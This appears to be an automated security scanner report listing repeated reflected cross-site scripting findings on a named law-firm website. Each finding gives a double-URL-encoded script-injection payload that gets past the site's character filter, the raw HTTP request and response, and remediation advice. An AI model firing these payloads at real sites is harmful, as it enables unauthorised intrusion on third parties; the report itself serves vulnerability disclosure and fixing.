This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /jsfe969%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ec77ca9823dd/ui.dialog.js HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:13:59 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4ae75%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e6ccc3364de was submitted in the REST URL parameter 2. This input was echoed as 4ae75"><script>alert(1)</script>6ccc3364de in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /js/ui.dialog.js4ae75%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e6ccc3364de HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:14:00 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 41fbd%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e3ba108ca8ed was submitted in the REST URL parameter 1. This input was echoed as 41fbd"><script>alert(1)</script>3ba108ca8ed in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /js41fbd%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e3ba108ca8ed/ui.draggable.js HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:13:35 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ee808%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e982f7a16b81 was submitted in the REST URL parameter 2. This input was echoed as ee808"><script>alert(1)</script>982f7a16b81 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /js/ui.draggable.jsee808%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e982f7a16b81 HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:13:36 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 159bb%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eff8afb5f36e was submitted in the REST URL parameter 1. This input was echoed as 159bb"><script>alert(1)</script>ff8afb5f36e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /js159bb%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eff8afb5f36e/ui.resizable.js HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:13:36 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6dd6d%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea322173fb55 was submitted in the REST URL parameter 2. This input was echoed as 6dd6d"><script>alert(1)</script>a322173fb55 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /js/ui.resizable.js6dd6d%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea322173fb55 HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:13:37 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4823f%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e74755294a4f was submitted in the REST URL parameter 1. This input was echoed as 4823f"><script>alert(1)</script>74755294a4f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss4823f%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e74755294a4f/awards/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:10:49 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3ddba%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb482c6d5ffe was submitted in the REST URL parameter 2. This input was echoed as 3ddba"><script>alert(1)</script>b482c6d5ffe in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/awards3ddba%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb482c6d5ffe/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:10:51 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4862c%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e626bbbadd84 was submitted in the REST URL parameter 3. This input was echoed as 4862c"><script>alert(1)</script>626bbbadd84 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/awards/rss.xml4862c%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e626bbbadd84 HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:10:52 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 96c9a%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb17c06f0b56 was submitted in the REST URL parameter 1. This input was echoed as 96c9a"><script>alert(1)</script>b17c06f0b56 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss96c9a%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb17c06f0b56/events/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:10:59 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8d1d6%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e3f934a0d192 was submitted in the REST URL parameter 2. This input was echoed as 8d1d6"><script>alert(1)</script>3f934a0d192 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/events8d1d6%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e3f934a0d192/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:00 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5ac25%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea7c854d93a was submitted in the REST URL parameter 3. This input was echoed as 5ac25"><script>alert(1)</script>a7c854d93a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/events/rss.xml5ac25%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea7c854d93a HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:11:01 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cefc3%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb60ad84eb9c was submitted in the REST URL parameter 1. This input was echoed as cefc3"><script>alert(1)</script>b60ad84eb9c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rsscefc3%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb60ad84eb9c/in_the_news/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:10:56 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cc00e%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ed760b3b5dd4 was submitted in the REST URL parameter 2. This input was echoed as cc00e"><script>alert(1)</script>d760b3b5dd4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/in_the_newscc00e%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ed760b3b5dd4/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:10:58 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b6f54%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e2151516518f was submitted in the REST URL parameter 3. This input was echoed as b6f54"><script>alert(1)</script>2151516518f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/in_the_news/rss.xmlb6f54%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e2151516518f HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:10:59 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9abb7%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e3d2f01cf3f9 was submitted in the REST URL parameter 1. This input was echoed as 9abb7"><script>alert(1)</script>3d2f01cf3f9 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss9abb7%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e3d2f01cf3f9/news_releases/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:10:55 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dc1d0%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e98c2f7af3b5 was submitted in the REST URL parameter 2. This input was echoed as dc1d0"><script>alert(1)</script>98c2f7af3b5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/news_releasesdc1d0%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e98c2f7af3b5/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:10:57 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ee81a%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ed27cf73a803 was submitted in the REST URL parameter 3. This input was echoed as ee81a"><script>alert(1)</script>d27cf73a803 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss/news_releases/rss.xmlee81a%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ed27cf73a803 HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:10:58 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 32ca8%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e73f8dfaacf9 was submitted in the REST URL parameter 1. This input was echoed as 32ca8"><script>alert(1)</script>73f8dfaacf9 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /rss32ca8%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e73f8dfaacf9/practices/Advertising/rss.xml HTTP/1.1 Host: www.wileyrein.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=43582841; __utmz=83402768.1295449756.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=18263656; __utma=83402768.904836967.1295449756.1295449756.1295449756.1; __utmc=83402768; __utmb=83402768.1.10.1295449756;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:10:59 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
